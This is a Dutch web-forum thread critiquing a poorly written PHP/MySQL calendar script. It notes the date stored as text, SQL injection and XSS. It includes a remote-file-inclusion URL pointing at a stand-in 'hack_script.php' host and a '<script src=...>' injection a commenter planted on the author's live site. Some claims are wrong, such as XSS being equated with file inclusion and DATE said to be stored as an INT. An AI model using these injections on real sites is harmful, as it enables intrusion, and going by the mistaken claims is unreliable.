Kalender - Agenda (met mysql) (NL VERSIE)

- Script even tussen tags zetten
- Gebruik eens wat tabs en enters om het wat overzichterlijker te maken

Heb het juist als zo compact als mogelijk gemaakt.
anders was het 500 regels lang ofzo?
Ik ga binnenkort beschrijvingen erin maken en uitgebreide config file ;)

`date` varchar(10) NOT NULL default '',


Kuch!

Agenda? Sorry hoor, maar wanneer je nog niet in staat bent om een datum als datum op te slaan in een database, dan is het script van een droevig niveau. Ga maar eens sorteren op datum, dat gaat natuurlijk niet lukken. Rekenen en vergelijken is eveneens onmogelijk, eigenlijk is het complete script gewoon een mislukking.

Helaas, ik kan er niet meer van maken, het is hooguit geschikt om te tonen hoe het niet moet.

Hallo

Ik krijg een foutmelding.
Wie kan me helpen.

Fout
SQL-query:

DB : CONFIG INCL een aantal feestdagen : CREATE TABLE `agenda` (

`id` int( 11 ) NOT NULL AUTO_INCREMENT ,
`date` varchar( 10 ) NOT NULL default '',
`genre` enum( 'afspraak', 'feestdag', 'verjaardag' ) NOT NULL default 'afspraak',
`titel` text NOT NULL ,
`details` text NOT NULL ,
UNIQUE KEY `id` ( `id` )
) INSERT INTO `agenda`
VALUES ( 1, '30/4', 'feestdag', 'Koninginnedag', '' ) ;



MySQL retourneerde:

#1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'DB: CONFIG INCL een aantal feestdagen:
CREATE TABLE `agenda` (
`id` int(11) NO' at line 1

@goeiemorgen: Gooi dit script maar weg, nog veel slechter zul je ze niet vinden. Debuggen is niet aan te raden, het is teveel ellende, hier ga je nooit uitkomen.

@pgFrank

Ik heb niet zo veel verstand van php. Staan er op Phphulp dan wel goede kalender scripts

de layout vind ik redelijk mooi, maar de code kijk ik liever niet naar

Aargh...

1. Inspringen
2. geen or die() gebruiken
3. enkele quotes en variabelen buiten quotes
4. SQL Injection!!!
5. zoals Frank al zei, type DATE gebruiken
6. geen commentaar te zien (je kan wel zeggen dat je het binnenkort gaat beschrijven, maar dat is iets wat je tijdens het maken doet, niet daarna)
7. houd logica en html gescheiden

Helaas, meer kan ik er niet van maken (layout is wel aansprekend).

- Nergens controle
- HTML gebruik van medio 1998
- variabelen voor niets dupliceren
- Geen datums maar strings

Stel dat het wel datums waren? Waarom rekenen met PHP als de SQL server dit veel sneller kan?

Uit het profiel van J0ni: Ben geen scriptermaker, maar een script aanpasser...

Waarom post je dan zo'n script?

Het vertalen met je arrays is ook overbodig, waarschijnlijk kan je gewoon het oude script gebruiken en je locale goed instellen...

Sinds wanneer zijn er 2 kerstdagen??

sinds wanneer niet??

@Hipska, In Nederland vieren ze 2 kerstdagen namelijk eerste en tweede kerstdag en ook nog eens kerstavond :)

3de Kerstdag bestaat (officieel) niet.

Ik kan deze URL zonder foutmelding gebruiken: http://www.djflashman.nl/agenda/agenda.php?thismonth=14&thisyear=1000
Leuk, joh :-).


Jammer genoeg helemaal mee-eens...

Ook jammer dat je als je in de URL bijv 2008 intikt dat ik dan in 2009 terecht kom

Edit :

Januari 2.008E+63 lol :P

Gasten, jullie zitten allemaal de verkeerde af te zeiken. Het script is origineel van woffer, zie http://www.phphulp.nl/php/scripts/3/347/.
Sowieso vind ik het zielig hoe erg de meeste van jullie hem aanvallen. Suggesties kan je ook anders brengen, maar blijkbaar denken jullie dat afkraken a la Idols normaal is geworden.

@Machiel: Aan jou de schone taak om wat positiefs over het script te vertellen...

@machiel

Dat de poster niet eens de moeite heeft genomen om de fouten op te lossen vind ik nog het aller ergste want anders had dit, naar mijn mening, mischien nog enige toevoeging gehad

Ik vind dit geen goed script, omdat:

XSS kan uitgevoerd worden, kijk voorbeeld:
http://www.djflashman.nl/agenda/dag.php?dag=16&maand=4&jaar=2008

Geen goede foutenafhandeling bij query's (or die moet je niet gebruiken)

Wat heb je nou aan een kalender waar je je afspraken niet eens kan wijzigen of verwijderen?

Ik kan voor geen meter iets lezen van dat script (denk aan tabs + enters)

Als je een afspraak hebt toegevoerd, kun je alleen de title zien en niet de details ?? Of kan ik dat gewoon niet vinden en ligt het aan mij :P?



Zoals je kunt zien breekt alles uit de agenda in agenda.php

En zo zijn er nog wel meerdere dingen ...

Misschien tijd voor een nieuwe tutorial op PHPhulp:
"HTML, CSS en Javascript goed gebruiken"

Zal ik dat es doen? :)

lijkt me wel lol

Als je net PHP gaat leren begin je op een gegeven moment met het veranderen van bestaande PHP scripts. Daar leer je van. Dat hij het ongeluk heeft van een slecht script als voorbeeld te nemen, kan je hem niet verwijten.

Mijn originele reply was

Het wordt steeds leuker. Vandaar dat "zo compact mogelijk". Zo lijkt het in eerste instantie niet op dat script ;-). Wat heb je eraan om een script te herposten?

@Machiel: Joni moet gewoon nog te veel leren om al een script te gaan posten... Dat moet je niet doen, en zeker niet op een site waar behoorlijke afkrakers rondhangen. Zeker als het gaat om 'netjes scripten'.

Hallo Jens,

Ik weet niet of je het tegen mij hebt maar, ik had die js alertjes gedaan.
Maar voor ff hoor, rustig aan man. Alleen ff om te laten zien hoe super ziek dat script is...

Nouja mazzels ;)

Berichten die buiten proporties zijn, zoals het gebruiken van bepaalde scheldwoorden zijn verwijderd.

@ Jordi

Wat heeft dit te maken met XSS. Er wordt geen script van een andere bron uitgevoerd. Zie: http://nl.wikipedia.org/wiki/Cross-site_scripting

@christian, de andere bron is Jordi.

XSS houdt in:

Als je in een $_GET variable een naam van een pagina door geeft die je dan include! Bijvoorbeeld:

index.php?page=page_2.php

Je kunt dan een include doen:


Dat werkt prima tot een hacker op het idee komt om de url te vervangen met bijvoorbeeld:

index.php?page=http://my_domain.com/hack_script.php

In dat script kan ie dan de meest gevaarlijke dingen doen, directories uitlezen, bestanden openen, tabellen droppen etc.

In het voorbeeld van Jordi krijg je hooguit een verkeerde maand / jaar.
Kan handig zijn als je vanuit een e-mail direct iemand naar de juiste datum wil leiden. Maar dus niet echt XSS

Cookies stelen, website infecteren met 1 of andere shit..

@JOni:
Maak je script niet compact, kijk eens hoe de open source projecten in elkaar zitten, daar zie je dat ze veel inspringen en veel commentaar staan. Dit zijn scripts van relatief hoog niveau natuurlijk, je hoeft het niet volledige na te doen maar het geeft je wel een idee. Slecht ideetje geweest dus compact maken. (behalve dat het onleesbaar is, is debuggen onmogelijk)

Voor de rest is de HTML presentatie wel mooi en je moet even aan je veiligheid en fout afhandeling denken. (W3C keuring ff runnen is ook handig)

Ga gewoon lekker door met rommelen en je komt er vanzelf.

Nog een tip: volgende keer gewoon weer posten, laat sommige reactie maar achterwege want er zit pure onzin tussen.

Voorbeeldje over de veelbesproken DATE:
- Een DATE wordt opgeslagen in je database als een getal!
- Rekenen en sorteren kan wel op INT!
- Een date is wel netter, maar niet per definitie gewenst in je code.

@Christian Avontuur, er is mij verteld dat als je javascript kunt uitvoeren dat je dan ook cookies kunt stelen en dergelijke en zo op de een of andere manier kunt hacken ...

@Jordi

Dat kan als je dus een script van een andere server (Cross Server) kan laten runnen alsof het een script op de eigen server is en zover ik heb gezien is dat hier niet het geval. Maar... Ik kan er naast zitten. Misschien tijd voor een Tutorial over veiligheid! Maar eigenlijk is dat hier Off-Topic!

@christian: dit is weldegelijk mogelijk, ik kon gewoon in de titel invoeren
<script src=http://blabla.js> en toen had ik een ding die 100 alertjes gaf (ff voor de grap, daarna weer verwijderd).
Maar als je dat kan uitvoeren kan je ook ajax uitvoeren, en kan je dus allerlei dingen op die site veranderen...

@HaasOnline.

Rekenen kan wel met een INT ja. Maar stel dat dit een ID is? Wil jij beweren dat 10000 meer waard is dan bijv 5, als we het over ID's hebben? Sorteren doen we op datum in dit geval. Een date wordt overigens niet als getal opgeslagen maar als een datum(yyyy-mm-dd)! Dit is geen getal (zie de - ertussen).

@brie

dan is er inderdaad een probleem!

Dit is een bewijs van een gebrek aan kennis of een gebrek aan intelligentie, verder is het een blunder om U tegen te zeggen.

Een datum sla je op in een datatype die datums gebruikt, bv. een DATE, DATETIME of een TIMESTAMP (en dan niet de MySQL-rommel, daar heb je geen drop aan). Dan kun je bv. nog eens kijken of het een maandag in april is of er een maand bij tellen. Dat zie ik je met een integer of varchar niet zo 1-2-3 doen.

Mensen (Jurgen in het bijzonder), een datum wordt verkregen in PHP mbv de Unix timestamp das een INT. De opslag in een database geschied ook mbv een Unix timestamp. Je ziet het niet, maar dat is op de achtergrond echt zo omdat een getal (lees INT) minder ruimte inneemt (in bytes). Ik snap dat dit verwarrend is omdat je andere dingen ziet, maar zo werkt een SQL database nu eenmaal op de achtergrond. SQL heeft als concept alles leesbaar te maken, daarom ook heet het ook Structured Query Language. Vandaar de verwarring ook.

Het is ook geen gebrek aan kennis of intelligentie als iemand met een INT werk ipv een DATE. Je kan er net zoveel mee als ik al eerder schreef. En het "gemakkelijk rekenen" waar pgFrank het over heeft kan ook. (evenals sorteren, maar daarover ga ik nu even niet in, eventueel op verzoek wel)

Voorbeeldje:
$tomorrow = mktime(0, 0, 0, date("m") , date("d")+1, date("Y"));
$lastmonth = mktime(0, 0, 0, date("m")-1, date("d"), date("Y"));
$nextyear = mktime(0, 0, 0, date("m"), date("d"), date("Y")+1);

Je kan hier alle kanten mee op, en het is puur PHP ipv een combi PHP/SQL. Bovendien kan je de tijd er ook nog bij betrekken, das iets wat volgens mij niet kan met DATE (hang me er niet aan op, ik werk met INTs meestal).

PS Je hoeft geen u tegen me te zeggen hoor, dan voel ik me zo oud. Ik ben maar 25.

NB Als jullie iets weten wat niet kan met een INT maar wel met een DATE dan hoor ik dat graag, maar mijn ervaring zegt dat het niets uitmaakt.

@HaasOnline: Sla de handleiding van je database er maar even op na, dan zul je zien dat er vele tientallen zaken zijn die je met een INT niet kunt doen en met een DATE wel kunt doen. Dat je wat kunt rommelen in PHP wanneer je eigenlijk SQL wilt hebben, dat is letterlijk een workaround en kan een regelrechte aanslag op de performance zijn. En nee, met 3 records in je database zul je daar geen last van hebben, maar met 3 miljoen (wat weinig is) wordt het een heel ander verhaal. 3 miljoen records ophalen terwijl er wellicht niet één record is die aan de voorwaarden voldoet, dat is niet slim.

Een integer is geen datum en een datum is geen integer. Het is niet voor niks dat er verschillende benamingen worden gebruikt...

@pgFrank:
Je zal ongetwijfeld wel gelijk hebben. Ik ben totaal niet bekend met alles wat je met SQL precies allemaal kan doen, laat staan op datum functionaliteit. Laat ik dat even duidelijk maken. :)

Ik moet ook even rectificeren dat een DATE in MySQL wordt opgeslagen als INT (technisch, dus zoals in de database achter de DATE), das niet zo lees ik net.

DATE=3bytes, INT=4bytes en DATETIME=8bytes groot in een MySQL5 database. Aangezien de INT niet gelijk is aan DATE of DATETIME wordt die dus niet gebruikt voor de opslag technisch.

Bron
http://dev.mysql.com/doc/refman/5.0/en/storage-requirements.html

Je punt is dat je moet meer PHP code schrijven begrijp ik oa. Klopt ook wel maar je code wordt toch serieel uitgevoerd, bovendien hoef je die door PHP verkregen timestamp niet eerst om te zetten naar een datum en dat in een query te stoppen. Je kan de timestamp ook direct opslaan zonder die conversie naar een datum, als INT dus. Hier behaal je al winst plus het is taal onafhankelijk. Bovendien als je handig bent dan kan je bijvoorbeeld berekenen hoe lang een dag of week is (als getal) en snel 2 getallen met elkaar verwerken (zonder mktime) als je een unix timestamp wil berekenen. Je hoeft dan ook de werkelijke INT naar date conversie pas te maken als je in de GUI bezig bent.

Kortom, ik vind het alsnog geen schade als iemand een INT als opslag gebruikt voor een datum en tijd.

PS je hoeft geen miljoenen records op te halen voor een enkele record. Je kan met een INT ook gewoon van de snelheid van de MySQL database genieten. (eg SELECT FROM WHERE X1 < Y AND WHERE X2 > Y)

En hoe denk jij te gaan controleren of een INT toevallig een datum op een maandag voorstelt? Dan zul je eerst met PHP alle mogelijke maandagen moeten gaan berekenen en in de query moeten stoppen. Dat zijn er 52 of 53 per jaar en dat over een periode van tig jaar. Dat wordt een leuke query... Je kunt ook in PHP gaan vergelijken, maar dan moet je eerst alle data ophalen en dan pas gaan vergelijken. En dat kan weer 0 resultaten opleveren, alles dus voor niks opgehaald. Hoe je het ook wendt of keert, jouw code wordt gewoon heel erg traag, je kunt namelijk nooit indexen gebruiken in je database.

Nog een nadeel: testen is een ramp, je kunt niet in 1x zien of je de juiste datumtijd te pakken hebt, je zult de boel eerst moeten omrekenen.

Een INT levert dus alleen maar problemen op en geen enkel voordeel, het zuigt aan alle kanten.

@pgFrank: Goed voorbeeld dat van maandag, dat weet ik dus ook even niet zo snel op te lossen (zowel met een INT als met een DATE). Ik ben zelf nog niet tegen zoiets aangelopen.

Ik zal me er tzt eens in verdiepen wat beter/sneller is. (de statistieken van mijn internetsite staan nog klaar voor een revisie, dus ik moet er nog mee aan de slag)

MySQL:


PostgreSQL:

@pgFrank

SELECT * FROM

Hoe bedoel je een trage query.... duidelijk iemand die denkt dat hij alles weet... zielig...

Bitchfight! Bitchfight! Bitchfight!

Ok kunnen we nu weer normaal doen? Thank you. >,>